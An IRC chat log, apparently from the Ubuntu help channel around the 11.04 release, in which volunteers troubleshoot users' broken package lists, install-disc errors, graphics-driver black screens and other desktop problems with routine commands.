[16:53] <Laggg> reboot? try mounting the disc?
[16:53] <Laggg> idk
[16:54] <sahil> guys help me m suffering 4m this
[16:54] <sahil> http://paste.ubuntu.com/602851/
[16:54] <pindropper> thien: put a func in your .bashrc
[16:54] <ryankirkman> In 11.04, where is the xorg.conf file located (I need to apply this fix to my xorg.conf: http://ubuntuforums.org/showthread.php?t=1515079#post9494941)
[16:54] <venik> I am having problems with SAMBA on 11.04
[16:54] <thien>  pindropper: how to do?
[16:55] <venik> share do not appear
[16:55] <sahil> http://paste.ubuntu.com/602851/
[16:55] <daxroc> ryankirkman: there is none by default , but it should be put in /etc/X11/xorg.conf
[16:55] <Chipzzz> sahil: is that a new install?
[16:55] <pindropper> thien: sorry, that wont work. i dint realise you wanted to do so automatically, presumably at startup. try http://embraceubuntu.com/2005/09/07/adding-a-startup-script-to-be-run-at-bootup/
[16:55] <ryankirkman> daxroc: Is there a sample file I can copy?
[16:55] <sahil> no...i hav upgraded 4m ubuntu beta 2
[16:55] <sahil> (natty)
[16:56] <Pici> thien: /etc/fstab would be the proper place to put a drive that you wanted mounted at boot.
[16:56] <daxroc> ryankirkman: not really as it depends on your graphic card(s),
[16:56] <pindropper> pici: oh cool. dint know that
[16:57] <thien> pici, pindropper: thanks
[16:57] <Pici> !fstab | thien This may be of some help
[16:57] <ubottu> thien This may be of some help: The /etc/fstab file indicates how drive partitions are to be used or otherwise integrated into the file system. See https://help.ubuntu.com/community/Fstab and http://www.tuxfiles.org/linuxhelp/fstab.html and !Partitions
[16:57] <miceiken> Does anyone know? I'm installing Ubuntu 11.04 from scratch, and all of the sudden when I'm at Install the base system, this error pops up (at about 90%) "Please insert the disc labeled 'Ubuntu-Server 11.04 _Natty Narwhal_ - Release amd64 (20110426)' in the drive '/media/cdrom/' and press enter.". But that's the CD currently in the ROM
[16:58] <sahil> synaptic error
[16:58] <sahil> http://paste.ubuntu.com/602851/
[16:59] <sahil> can anybody help?
[16:59] <ayecee> miceiken: could be bad disk?
[16:59] <miceiken> bad disk? the cd?
[16:59] <miceiken> I tried two
[16:59] <ayecee> miceiken: yes
[16:59] <Baskak> help needed
[16:59] <ayecee> then bad image, maybe.
[16:59] <miceiken> weird tho, since i got this far
[16:59] <botcity> buhman, http://fossplanet.com/f10/%5Bbug-773152%5D-%5Bnew%5D-not-working-wifi-ubuntu-11-04-a-144523/
[16:59] <miceiken> well
[17:00] <miceiken> I'll ty
[17:00] <ayecee> miceiken: when you start up the cd, there's a "media test" option, right? run that, see what it says.
[17:00] <platius> cannot seem to figure out 'printer Not published See server setings" in natty
[17:00] <sahil> ayecee can ya help me...
[17:00] <ryankirkman> daxroc: All I want to do is apply this fix: http://ubuntuforums.org/showthread.php?t=1515079#post9494941
[17:00] <ayecee> sahil: try running apt-get update again
[17:01] <elb0w> If Im getting a black screen booting ubuntu 10.10 arent there some commands I can add?
[17:01] <elb0w> like noacpi or something
[17:01] <ryankirkman> daxroc: Could I just add in the line in question?
[17:02] <TheRedOctober> Anyone noticing high swap usage on a rather vanillia 11.04 desktop install?
[17:02] <ryankirkman> TheRedOctober: Not at all
[17:02] <ayecee> TheRedOctober: you are, I guess.
[17:02] <ryankirkman> TheRedOctober: How much RAM do you have?
[17:03] <TheRedOctober> ryankirkman: 3gb
[17:03] <Chipzzz> elb0w: you could try booting to the recovery console & then the failsafe video
[17:03] <ryankirkman> TheRedOctober: That
[17:03] <sahil> ayecee not working...
[17:03] <ryankirkman> TheRedOctober: That's a lot of RAM to exhaust
[17:03] <sahil> ran ...after dat too cant open syanptic
[17:04] <TheRedOctober> ryankirkman: I guess I just have too many browsertabs open, however I have 700mb swap usage (and 900mb cached)...zuper swappy
[17:04] <jatt> TheRedOctober: I have 2gb and rarely the swap is used
[17:04] <ayecee> sahil: I don't understand what you mean.
[17:04] <sipior> TheRedOctober: does iostat show substantial load on the swap partition?
[17:05] <ryankirkman> TheRedOctober: If the problem is too many browser tabs, try browsing with lynx :D
[17:05] <sahil> still i am unable to open synaptic.its showing same erroe
[17:05] <sahil> error
[17:05] <ayecee> sahil: i'm out of ideas.
[17:06] <coz_> sahil,  sorry I didnt see your intial post,, what is the error?
[17:06] <quiescens> sipior: that's not technically right, load on the swap partition can by the system swapping things out, even if it never gets swapped back in, what you need to look at is things like pagefaults which is how often a process is requesting data which had to be read from the swap system
[17:06] <thevishy> is Wing available in Ubuntu ? Python IDE
[17:06] <buhman> botcity: thoroughly interesting...
[17:06] <thevishy> Python IDE Wing is what I am looking for ......can I install via apt
[17:06] <sahil> ayecee http://paste.ubuntu.com/602859/
[17:06] <miceiken> ayecee
[17:06] <sipior> quiescens: that's why iostat lists block read and blocks written.
[17:06] <Baskak> hi, i have a failure following upgrade to 11.04: http://pastebin.com/L03HTmQB help needed
[17:06] <miceiken> it says it's valid ayecee
[17:07] <buhman> botcity: OH MY GOD!
[17:07] <daxroc> ryankirkman: not really
[17:07] <TheRedOctober> sipior: not now, iowait is 1% as well.  this machine is rather chill, just sits at work for irc, personal email, ssh home.  it is just peculiar to see swap fill up like that.
[17:07] <Pici> thevishy: I was under the impression that wing IDE was commercial, you'll likely need to check their website.
[17:07] <sipior> quiescens: i'm looking to see if most of the swap is going to memory reservations, or is actually being used for data.
[17:07] <coz_> sahil,  I have gotten this error myself ,, apparenlty those servers are down ,, or intermitently down... and you say synaptic doesnt open?
[17:07] <sahil> ayecee the initial error was http://paste.ubuntu.com/602851/
[17:07] <ayecee> miceiken: i see. that rules out that theory then.
[17:07] <thevishy> It has a personal edition too \
[17:08] <coz_> sahil,    open a terminal     gksu --desktop /usr/share/applications/software-properties-gtk.desktop /usr/bin/software-properties-gtk
[17:08] <sipior> TheRedOctober: if the machine is performing fine, i wouldn't worry about it :-)
[17:08] <quiescens> sipior: well i guess both ways answer that question, if its just allocations that are never used then there will be no i/o for it nor will there be any pagefaults
[17:08] <sipior> quiescens: that was my point, yes.
[17:09] <adssdsdads> hi
[17:09] <buhman> botcity: http://imagebin.org/151505
[17:09] <sahil> ayecee ya after dat?it opened the software sources.do i need to disselect somthing?
[17:09] <buhman> botcity: your google-fu is strong
[17:10] <buhman> botcity: this acer_wmi needs to be removed from all the distributions
[17:10] <buhman> I need to open up bug reports everywhere that it should be blacklisted
[17:11] <insanity99> is there anything to display cpu temp yet on ubuntu 11.04
[17:11] <ActionParsnip> buhman: log a bug
[17:11] <coz_> sahil,    disable all of the ppa's you have  under the second tab,, by the way you are talking to  coz_   not ayecee   :)
[17:11] <coz_> sahil,  or maybe you are speaking with both
[17:12] <Chipzzz> insanity99: doesn't it have the sensors applet?
[17:12] <sahil> of coz am sory didnt notice dat u r the 1 helping
[17:12] <coz_> sahil,   after uncheckint ALL  of the PPA's in that list   close that dialog... reopen synaptic,, hit the reload button
[17:12] <buhman> ActionParsnip: how is this done in ubuntu?
[17:13] <gh0st> Morning
[17:13] <insanity99> the panels are gone now
[17:13] <insanity99> i need to know my temp all the time
[17:13] <coz_> sahil,  once you have done that,, hit the   "Mark all upgrades"  button
[17:13] <ActionParsnip> !bug
[17:13] <ubottu> If you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots
[17:13] <sahil> coz still it the same error...wait i double check ur procedure
[17:13] <Chipzzz> *groans* Glad I stuck with 10.10... How about screenlets? does it run them?
[17:13] <coz_> sahil,  if something is to be upgraded,,, then hit the "Apply" button
[17:14] <nnnnnnnwerwer> hi
[17:14] <nnnnnnnwerwer> help please
[17:14] <ActionParsnip> Chipzzz: why not boot to gnome classic
[17:14] <Pici> !ask | nnnnnnnwerwer
[17:14] <ubottu> nnnnnnnwerwer: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[17:14] <nnnnnnnwerwer> cant launch sw center in 11.04
[17:14] <Chipzzz> ActionParsnip: That's a good idea as well
[17:14] <ActionParsnip> nnnnnnnwerwer: can you give the output of:  cat /etc/lsb-release; sudo apt-get update
[17:14] <sahil>  coz_ still it the same error...wait i double check ur procedure
[17:14] <insanity99> some reason xsensors only shows one core since updating?
[17:15] <ActionParsnip> Chipzzz: I find a lot of people saying "boohoo i'll use maverick" when gnome classic is the SAME as merick desktop...
[17:15] <coz_> sahil,   now,,, for the PPA's  ,, go to synaptic  Settings / repositories... second tab again,,, tick ONLY one ppa  at a time,,, Reload,,, Mark all upgrades,,,Apply,,, if it spits out the same error,, go back into  repostories and un tick that particular  PPA
[17:15] <ActionParsnip> nnnnnnnwerwer: use http://pastebin.com
[17:15] <gpetrakis> Why there is no Unity in 11.04 LiveCD?
[17:15] <coz_> gpetrakis,   I bet you have an nvidia card...yes?
[17:15] <ActionParsnip> gpetrakis: there is if the default drivers give you 3d accelleration
[17:15] <Chipzzz> ActionParsnip: Thanks for that... I'll consider it
[17:15] <sahil> coz_ the dialog box is now not opening
[17:16] <broot> Does anyone know the location of the Ubuntu desktop, origining from [xx GB Filesystem]? Or is that not how it works?
[17:16] <gpetrakis> coz_: yes
[17:16] <coz_> sahil,   under  Settings / Repositories?
[17:16] <ActionParsnip> gpetrakis: if you need proprietary drivers, install then then restart x
[17:16] <nnnnnnnwerwer> cant launch sw center in 11.04  ???
[17:16] <sahil> gksu synapticksu --desktop /usr/share/applications/software-properties-gtk.desktop /usr/bin/software-properties-gtk
[17:16] <sahil> this is not working
[17:16] <ActionParsnip> nnnnnnnwerwer: if you giove the output of the command I gave, we can advise
[17:16] <coz_> gpetrakis,  that's why,,, you have to install the system onto the hard drive first then install the nvidia driver,, then  restart
[17:16] <ActionParsnip> coz_: you can install prop drivers in livecd ;)
[17:17] <pentos> shi folks
[17:17] <nnnnnnnwerwer> please retype command
[17:17] <coz_> ActionParsnip,  ah very very cool..even nvidia?
[17:17] <ActionParsnip> 17:14 < ActionParsnip> nnnnnnnwerwer: can you give the output of:  cat /etc/lsb-release; sudo apt-get update
[17:17] <ActionParsnip> 17:14 < ActionParsnip> nnnnnnnwerwer: can you give the output of:  cat /etc/lsb-release; sudo apt-get update
[17:17] <ActionParsnip> 17:14 < ActionParsnip> nnnnnnnwerwer: can you give the output of:  cat /etc/lsb-release; sudo apt-get update
[17:17] <RussellAlan> is there a way to align windows left and right with a key combo like windows 7
[17:17] <pentos> just upgraded to 11.04 and following a reboot cant get in at all....help
[17:17] <sahil> coz_m just restarting the system lets c if it helps...will be back again
[17:17] <gpetrakis> coz_: Thanks. Still in 10.10. I 'll upgrade after 2 weeks or so.
[17:17] <coz_> sahil,   did you untick ALL of the ppa's before?
[17:17] <ActionParsnip> RussellAlan: the "aero snap" feature is enabled by default as  far as I remember
[17:18] <nnnnnnnwerwer> DISTRIB_ID=Ubuntu
[17:18] <nnnnnnnwerwer> DISTRIB_RELEASE=11.04
[17:18] <nnnnnnnwerwer> DISTRIB_CODENAME=natty
[17:18] <nnnnnnnwerwer> DISTRIB_DESCRIPTION="Ubuntu 11.04"
[17:18] <miceiken> Does anyone know? I'm installing Ubuntu 11.04 from scratch, and all of the sudden when I'm at Install the base system, this error pops up (at about 90%) "Please insert the disc labeled 'Ubuntu-Server 11.04 _Natty Narwhal_ - Release amd64 (20110426)' in the drive '/media/cdrom/' and press enter.". But that's the CD currently in the ROM - I have verified the contents of the disk and they are
[17:18] <miceiken> valid.
[17:18] <FloodBot1> nnnnnnnwerwer: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:18] <ActionParsnip> pentos: can you expand on "get in"
[17:18] <coz_> gpetrakis,  that is a better time,, too many glitches right now
[17:18] <tatzenblogde> hello! is there a way to view a log files with all "sudo" and "gtksudo" calls?
[17:18] <Toph> Russell``,,, have you tried logging into Ubuntu Classic?
[17:18] <ActionParsnip> nnnnnnnwerwer: use http://pastebin.com
[17:18] <sahil> coz_ yes...all ppa's
[17:18] <sahil> reloded after that
[17:18] <ActionParsnip> miceiken: did you MD5 test the ISO you downloaded?
[17:18] <miceiken> no
[17:18] <nnnnnnnwerwer> dude whtas that ?
[17:18] <coz_> sahil_,   ok  close out of synaptic,,,  open a terminal,,,,    sudo apt-get update && sudo apt-get dist-upgrade
[17:18] <adssdsdads> hi
[17:18] <pentos> hi Actionpasnip
[17:18] <nnnnnnnwerwer> pastebin
[17:18] <nnnnnnnwerwer> ?
[17:18] <adssdsdads> i dont like unity
[17:18] <miceiken> ActionParsnip: I downloaded it twice, ran 2 seperate disks
[17:18] <sipior> tatzenblogde: yes, they should show up in /var/log/auth.log.
[17:19] <pentos> is there a way to cht 1-1 as this is a little confusing?
[17:19] <insanity99> some reason xsensors only shows one core since updating?
[17:19] <catphish> what is the best way to make ubuntu server use the mose recent kernel? i notice it is using a fairly old one compared with what is in the repos
[17:19] <ActionParsnip> nnnnnnnwerwer: run: sudo apt-get update     then copy the output and visit the site and upload the text, it will make the page change and you can copy / paste the url here
[17:19] <ActionParsnip> miceiken: doesn't answer the question, did you MD5 test the ISO?
[17:19] <gpetrakis> adssdsdads: That's because you 're not used to it yet.
[17:19] <miceiken> ActionParsnip: no, I don't know how I do that
[17:19] <ActionParsnip> !md5 | miceiken
[17:19] <pentos> i cant get in to the system at all -= this is a nother pc
[17:19] <ubottu> miceiken: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[17:19] <rapeman> I'd like to  interject, ubottu. What you're referring to as "Linux" is, in fact, GNU/Linux.
[17:19] <Bunbury> I have a no permission erro for ~/.ICEauthority after installing gnome 3 on ubuntu 11.04 anyone can help?
[17:20] <sipior> rapeman: go away.
[17:20] <ActionParsnip> Bunbury: boot to root recovery mode and chown the file back to your user
[17:20] <pentos> on booting I just get a small white rectablge in the centre, with occasioanally loving bizarre characters
[17:20] <coz_> rapeman,   just for info    ubottu is a bot  not a real person :)
[17:20] <pentos> moving bizarre characters LOL
[17:20] <ActionParsnip> !cookie | rapeman
[17:20] <ubottu> rapeman: Wow! You're such a great helper, you deserve a cookie!
[17:20] <pentos> as in text
[17:21] <coz_> sahil,   still here?
[17:21] <sipior> coz_: rapeman is likely also a bot (the gnu/linux thing shows up fairly often here, with precisely the same formulation).
[17:21] <rapeman> I'd like to interject, sipior. What you're referring to as "Linux" is, in fact, GNU/Linux.
[17:21] <sipior> see?
[17:21] <coz_> ah
[17:21] <miceiken> ActionParsnip: They are the same.
[17:21] <coz_> sahil,   did that work?
[17:21] <tatzenblogde> thanks sipior - thats what i wanted :D
[17:21] <ActionParsnip> miceiken: ok and are you using CD or USB?
[17:21] <pentos> It wont even boot into previous installs
[17:21] <Bunbury> permission is already -rw-------
[17:21] <pentos> same issue
[17:22] <sipior> the funny thing is that i actually called it gnu/linux...
[17:22] <nnnnnnnwerwer> please retype commandIgn http://dl.google.com stable InRelease
[17:22] <Bunbury> permission is already -rw-------  user user
[17:22] <nnnnnnnwerwer> Ign http://in.archive.ubuntu.com natty InRelease
[17:22] <nnnnnnnwerwer> Ign http://in.archive.ubuntu.com natty-updates InRelease
[17:22] <ActionParsnip> Bunbury: is it owned by your username though?
[17:22] <nnnnnnnwerwer> Get:1 http://dl.google.com stable Release.gpg [197 B]
[17:22] <nnnnnnnwerwer> Hit http://in.archive.ubuntu.com natty Release.gpg
[17:22] <FloodBot1> nnnnnnnwerwer: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:22] <nnnnnnnwerwer> Get:2 http://in.archive.ubuntu.com natty-updates Release.gpg [198 B]
[17:22] <miceiken> ActionParsnip: CD
[17:22] <ActionParsnip> nnnnnnnwerwer: pastebin the error as I said please
[17:22] <coz_> sahil,   also ,, and for everyone else,,, when speaking to someone in particular    type the first 2 or 3  letters of their name,, hit Tab key to complete it  ,, this way that person will be alerted on their end
[17:22] <miceiken> ActionParsnip: does it have anything to do with the drive im installing it to?
[17:22] <ActionParsnip> miceiken: did you burn the CD as SLOWLY as possible?#
[17:22] <coz_> sahil,    so did that  terminal command work?
[17:22] <miceiken> ActionParsnip: no, default speed i take it
[17:22] <sahil> coz_, no
[17:23] <insanity99> ?
[17:23] <pentos> ActionParsnip: any ideas?
[17:23] <coz_> sahil,  ok open a terminal again
[17:23] <sahil> Reading package lists... Error!
[17:23] <sahil> E: Encountered a section with no Package: header
[17:23] <sahil> E: Problem with MergeList /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_natty_main_binary-i386_Packages
[17:23] <sahil> E: The package lists or status file could not be parsed or opened.
[17:23] <ActionParsnip> miceiken: when the CD starts to boot and you see the keyboard and stickman, press SPACE and test the CD for defects, also test the RAM
[17:23] <FloodBot1> sahil: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:23] <coz_> sahil,   copy and paste t his next command into it
[17:23] <Bunbury> ActionParsnip:  -rw------- user user
[17:23] <coz_> sahil,     sudo mv /var/cache/apt/pkgcache.bin and srcpkgcache.bin
[17:23] <coz_> restart synaptic
[17:23] <miceiken> ActionParsnip: I've checked the CD for defects, it says it's valid
[17:23] <ActionParsnip> Bunbury: then you have wrire and read access
[17:23] <coz_> sahil,   sorry that's wrong
[17:23] <elb0w> I've installed ubuntu on a machine that runs a nvidia card and drivers arent there by default. I changed to ro nomodeset single and booted into netshell and installed Nvidia drivers. When I try to reboot now I just go into power saving mode. Any ideas?
[17:23] <coz_> sahil,    sudo mv /var/cache/apt/pkgcache.bin       then    sudo mv /var/cache/apt/srcpkgcache.bin
[17:24] <ActionParsnip> elb0w: boot to root recovery mode and run: nvidia-xconfig; reboot
[17:24] <Bunbury> ActionParsnip:  so how do I solve it, I cant boot into gnome
[17:24] <miceiken> 0,
[17:24] <coz_> sahil,  then  try to reopen synaptic package manager
[17:24] <ActionParsnip> Bunbury: can you log on as another user?
[17:24] <Bunbury> ActionParsnip: that is the only user I created from a fresh install
[17:25] <sahil> coz_, mv: missing destination file operand after `/var/cache/apt/pkgcache.bin'
[17:25] <sahil> Try `mv --help' for more information
[17:25] <coz_> sahil,  sorry my mistake
[17:25] <broot> I'm currently on a LiveCD, due to my regular Ubuntu partition not working -- how would I go ahead and *fix* the regular one now?
[17:25] <vooze> Anyone who can run Radio Tray on Natty??
[17:25] <ActionParsnip> Bunbury: drop to root recovery console and make a fresh user
[17:26] <S-M-Gl> Can someone explain what is the benefit of running a program in Daemon?
[17:26] <IdleOne> !pastebin > nnnnweerer
[17:26] <ubottu> nnnnweerer, please see my private message
[17:26] <coz_> sahil,
[17:26] <coz_> sudo mv /var/cache/apt/pkgcache.bin /home/yourname/Desktop       the   "yourname"  is your account name
[17:26] <Bunbury> ActionParsnip: k
[17:26] <sahil> coz_, nevermind coz_  atleast u are trying to share my headache
[17:26] <rumpe1> !daemon
[17:26] <nnnnweerer> http://pastebin.com/BSYQjbLW
[17:26] <thien> when i mount /dev/sda6, unity bar show it's shortcut, can i hide it?
[17:26] <coz_> sahil,   then
[17:26] <coz_> sudo mv /var/cache/apt/srcpkgcache.bin  /home/yourname/Desktop
[17:26] <pentos> just upgraded to 11.04 and following a reboot cant get in at all....help
[17:27] <joH28> Guys, hello! Does anybody know if Wubi will not conflict with GRUB2? I have Meerkat installed but I'd like to try Natty on Wubi install. I also have it on VBox, but would like to see the difference on Wubi.
[17:27] <nnnnweerer> actionparsnip check the pase
[17:27] <sahil> coz_, urname=computername or account name?
[17:27] <ActionParsnip> nnnnweerer: that's exactly what I wanted.
[17:27] <nnnnweerer> ok
[17:27] <coz_> sahil,  yes your account name
[17:27] <nnnnweerer> cool
[17:27] <ActionParsnip> nnnnweerer: that ppa is no longer around
[17:27] <broot> I'm currently on a LiveCD, due to my regular Ubuntu partition not working -- how would I go ahead and *fix* the regular one now?
[17:27] <nnnnweerer> what to do then ?????
[17:27] <coz_> broot,   not working in what manner.. it doesnt boot?
[17:27] <ActionParsnip> nnnnweerer: that shouldn't stop it running though. If you run:  sudo apt-get -y upgrade     is it ok?
[17:28] <pentos> It started off as an issue with evolution, following the upgrade to 11.04
[17:28] <broot> coz_: Correct. :) It actually doesn't find the harddrive. http://paste.ubuntu.com/602816/ in particular.
[17:28] <nnnnweerer> action: it was working till yesterday now nt lanuching
[17:28] <thummper> Hi, does anyone know if i can remove workspaces? i find them kind of annoying :3
[17:28] <sahil> coz_, mv: cannot move `/var/cache/apt/pkgcache.bin' to `/home/yourname/Desktop': No such file or directory
[17:28] <nnnnweerer> 0 upgarded
[17:28] <pentos>  I tried to open evolution but it appeared to hang when trying to retrieve files ie went greyed out..
[17:28] <sahil> coz_, my bad wait
[17:29] <coz_> sahil,    'yourname"  is the name that you use on the system...  not "yourname"  but the actual name ... on my system it is   cosimo321
[17:29] <joH28> Anybody has installed Natty on Wubi while dual-booted to  Windows and Ubuntu Meerkat/Lynx? Will it not conflict with GRUB2?
[17:29] <pentos> I rebooted a couple of tuimes but the same problem persisted.
[17:29] <smitpatel24> I am unable to change pointer in 11.04 can anyone help me with this?
[17:29] <coz_> smitpatel24,   do you have compiz running as well?
[17:29] <smitpatel24> @coz_ yes
[17:29] <mgaunard> if I write some code in /etc/init.d/networking, sudo service networking start doesn't seem to execute it
[17:29] <pentos>  In the end, on reboot I seletd start with prompt and opp[ted for "repair broken files"...
[17:30] <mgaunard> how do you customize upstart scripts?
[17:30] <ActionParsnip> nnnnweerer: ok try software centre
[17:30] <sahil> coz_, done there is now two files in my desktop now
[17:30] <coz_> smitpatel24,  ok open a terminal       sudo update-alternatives --config x-cursor-theme   choose the number of the theme you want  then hit enter    restart x  or reboot and it should be fine
[17:30] <pentos>  And ever since then all I get at boot is a small white rectangle with starge text objects
[17:30] <Krishnandu> Guys any solution to the most known problem of black screen on boot after upgrading??
[17:30] <elb0w> ActionParsnip, that didnt work
[17:30] <coz_> sahil,   ok cool... now reopen  synaptic package manager
[17:30] <nnnnweerer> that is what i am unable to launch
[17:30] <nnnnweerer> wheni click on it ni respocse
[17:31] <coz_> sahil,   hit the RELOAD  button then the  Mark all upgrades   button
[17:31] <Chipzzz> thummper: right click on them in the lower right corner, select preferences & select how many you want (evidently 1)
[17:31] <pentos> Krishnandu: I may hava  similar prob
[17:31] <nnnnweerer> sorry for the typo
[17:31] <ActionParsnip> elb0w: try adding the boot option: nomodeset
[17:31] <elb0w> ActionParsnip, should it be there by default?
[17:31] <sahil> coz_, *sigh* still same
[17:31] <elb0w> I mean change the default*
[17:31] <miceiken> ActionParsnip: running a memtest now, what happens if there are errors?
[17:31] <Krishnandu> I've NVIDIA card, and when I go to Additional Drivers it says It's activated but not in use...why so?? And what's being use if NVIDIA Driver is not getting used??
[17:31] <ActionParsnip> nnnnweerer: run it from terminal with:  gksudo software-center     does it work?
[17:31] <coz_> sahil,   ooo... then I am puzzled
[17:31] <Krishnandu> pentos, Yup, I found many in ubuntuforums, but no one has solution to this...
[17:31] <thummper> Chipzzz: will that work for 11.04?
[17:32] <ActionParsnip> miceiken: bad: http://billy-oneal.com/forums/memTest/memtestFail.png
[17:32] <coz_> sahil,   try a reboot of the system.. and try synaptic again,or,   sudo apt-get update && sudo apt-get dist-upgrade
[17:32] <arvut> what is the size of a standard parameter for a ext4 filesystem and is it a good idea to change it? (I'm partitioning a disk for installation atm, using 4.1GB)
[17:32] <jwmto> I'm having a natty screen problem: when I switch between applications the application I switch too appears frozen until I stimulate it somehow like rolling up the window and rolling it back down.  Any ideas?  A compiz problem?
[17:32] <ActionParsnip> miceiken: good: http://www.playtool.com/pages/memtest/memtest86.jpg
[17:32] <nnnnweerer> nah man no response
[17:32] <pentos> Krishnandu: is thee a roll back option ?
[17:32] <jwmto> ActionParsnip: Thanks for your help the other day with my sound problem: all is well now
[17:32] <miceiken> ActionParsnip: sure, but what do I do if it's errornous
[17:32] <Chipzzz> thummper: I don't know... I haven't upgraded but I would expect that it would
[17:32] <coz_> sahil,   those 2 files on the desktop can be deleted
[17:32] <tsrk> How do I add kernel parameters?
[17:32] <sahil> coz_,  btw wats the problem?broken package?messed up settings?
[17:33] <mordof> looking for the link to show reinstalling Grub 2 on a new partition. the whole chroot then mount to /dev, bind mounting folders, etc
[17:33] <mordof> anyone know where that is?
[17:33] <coz_> sahil,  not sure ,, the error points to one of the PPA  links you have
[17:33] <thummper> Chipzzz: if i right click the Workspace Switcher i don't get anything
[17:33] <Krishnandu> pentos, Nope, uninstall option is there, though I'm not very much into it, the main concern is, it doesn't boot with the newest kernel, Black Screen...
[17:33] <Bunbury> ActionParsnip: created a new user and tried login to gnome get the same error
[17:33] <coz_> sahil,    not sure what it is for ,, however,, what we did ,, especially the  disabling of the PPA's  should have remedied this
[17:33] <sahil> all these may  hav  hapened after hot restart
[17:33] <Krishnandu> pentos, But boots fine with the Previous Kernel(Last kernel of maverick update)
[17:33] <Chipzzz> sahil: it sounds like there might be something wrong with the repository
[17:34] <broot> When I'm going to run "sudo mount /dev/sda5 /mnt/repair", should the sdax be of my regular partition, or the one I'm currently on?
[17:34] <mindkeep> hello, using 11.04 Unity, is there anything that parallels an application dock? I feel like there is no visible notifications for things like pidgin and thunderbird
[17:34] <pentos> Krishnandu: so maybe boot from a disk and do a fresh install?
[17:34] <coz_> sahil, `  do a complete shutdown,,, then restart the system
[17:34] <sahil> what if i clear  the lib folder?
[17:34] <Chipzzz> thummper: does 11.04 have a configuration editor?
[17:34] <coz_> sahil,  the lib folder?  I dont think you want to do that
[17:34] <Distress> Why is my firefox plugin container using 470 mb of memory? I only have adblock plus installed atm
[17:34] <constl> How can you activate proprietary drivers for graphics cards? On the "additional drivers" i can see that ubuntu recommends one but it's not actually activated
[17:35] <thummper> Chipzzz: I have no idea, I’ve only just got Ubuntu.
[17:35] <kbrosnan> Distress: plugin container is not extensions, it is stuff like Adobe Flash
[17:35] <constl> or actually it is "activated but not currenlty in use"
[17:35] <Distress> ah, that explains it
[17:35] <Krishnandu> pentos, I don't think so, it's my primary OS, and I don't want to loose all the data...
[17:35] <Krishnandu> I'm using it since Lucid
[17:35] <jwmto> Anyone experiencing screen freezes in Natty that can be unfrozen by rolling the window up and down?
[17:35] <sahil> oh yes my bad...lib/apt list.if i clear the list folder then?
[17:35] <Chipzzz> thummper: it would be in Applications->System Tools->Configuration Editor
[17:35] <pentos> Krishnandu: me too. so what's the fix? any idea?
[17:36] <nnnnweerer> cant launch software center in natty 11.04 ???????????/
[17:36] <Krishnandu> pentos, Nope, lets wait...as we are traveling in the same boat.!! :)
[17:36] <Krishnandu> pentos, Lauchpad already has many reports regarding this, lets see what happens...if they can fix it up...
[17:36] <sahil> coz_, can i backup the list folder nd delate the unoffical source files?
[17:37] <coz_> sahil,   well ,, you can if you have the default sources list ,, yes,
[17:37] <Bunbury> Im getting cant update ~/.ICEauthority with fresh install and new user any help?
[17:37] <pentos> Krishnandu: i hope its soon - i got a lot to do
[17:37] <speedy|2> Question: Can the Sidebar in Natty be resized instead of taking up the whole left side of screen? However I did resize the icons and such as i have found that
[17:38] <insanity99> i think i like unity now, the keyboard shortcuts are great
[17:38] <thummper> Chipzzz: where can i find the Application folder? there’s just a search thingy now
[17:38] <sahil> coz_, any code for that? :)
[17:38] <coz_> sahil,   you can generate the list from here  http://repogen.simplylinux.ch/
[17:38] <mindkeep> insanity99: assuming that you know them, as a new user it's maddening
[17:38] <speedy|2> compiz does not play well in natty on some things
[17:38] <Krishnandu> pentos, Same here...!! Wish they fix it soon, but I strongly think it's not a general bug, and has something to do with NVIDIA Cards, and as far I know they have modified the Graphics thing, and something is creating this problem. As all of us are able to boot using previous kernel
[17:38] <Laggg> my ubuntu is fuct up
[17:38] <coz_> sahil,   then copy that downloaded list to the sources.list on your system after deleting the original entries
[17:39] <Bunbury> anyone running gnome 3 on natty?
[17:39] <Chipzzz> thummper: dunno... try searching for 'configuration editor'...
[17:39] <tamale_> Now I'm just getting this error when trying to upgrade: E: Could not perform immediate configuration on 'python-pyatspi2'.Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)
[17:39] <sahil> coz_, that means i can clear entire list folder?
[17:39] <insanity99> i dont really use compiz, seems like a waste
[17:39] <insanity99> whats gnome 3 like?
[17:39] <coz_> sahil,   the /etc/apt/soruces.list   ,,, yes
[17:39] <mindkeep> I completely broke my desktop just trying to tweak compiz a bit, had to wipe a handful of config directories to get back to a sane state
[17:39] <Bunbury> i dont know i cant bott into it
[17:40] <BlaDe^> Is the slow wifi bug fixed yet?
[17:40] <Bunbury> boot
[17:40] <thummper> Chipzzz: i found a command for it and opened it up, what now?
[17:40] <messin20> cant launch software center in natty 11.04
[17:40] <ActionParsnip> nnnnweerer: try: sudo apt-get --reinstall install software-center
[17:40] <mindkeep> on the up side firefox 4 is awesome
[17:40] <sahil> coz_, no.var/lib/aptlists
[17:40] <Bunbury> ActionParsnip: created a new user and tried login to gnome get the same error
[17:40] <pentos> Krishnandu: could be - I have an invidia card too. bugger
[17:40] <coz_> sahil,     sudo gedit   /etc/apt/sources.list
[17:40] <sahil> coz_, no.var/lib/apt/lists
[17:40] <ActionParsnip> Bunbury: not sure then dude
[17:40] <Samo502> do you have to run update-manager with any special parameters to update from Natty beta to regular Natty?
[17:40] <ActionParsnip> mindkeep: debatable :)
[17:40] <Krishnandu> pentos, Just got this...check it out : http://ubuntuforums.org/showthread.php?t=1743386
[17:40] <arvut> ah, here it is.
[17:41] <ActionParsnip> Samo502: none, just run updates and you will have stable
[17:41] <joH28> Anybody has installed Natty on Wubi while dual-booted to  Windows and Ubuntu Meerkat/Lynx? Will it not conflict with GRUB2?
[17:41] <Samo502> ActionParsnip: ah, i was thinking maybe it'd require -d, just making sure
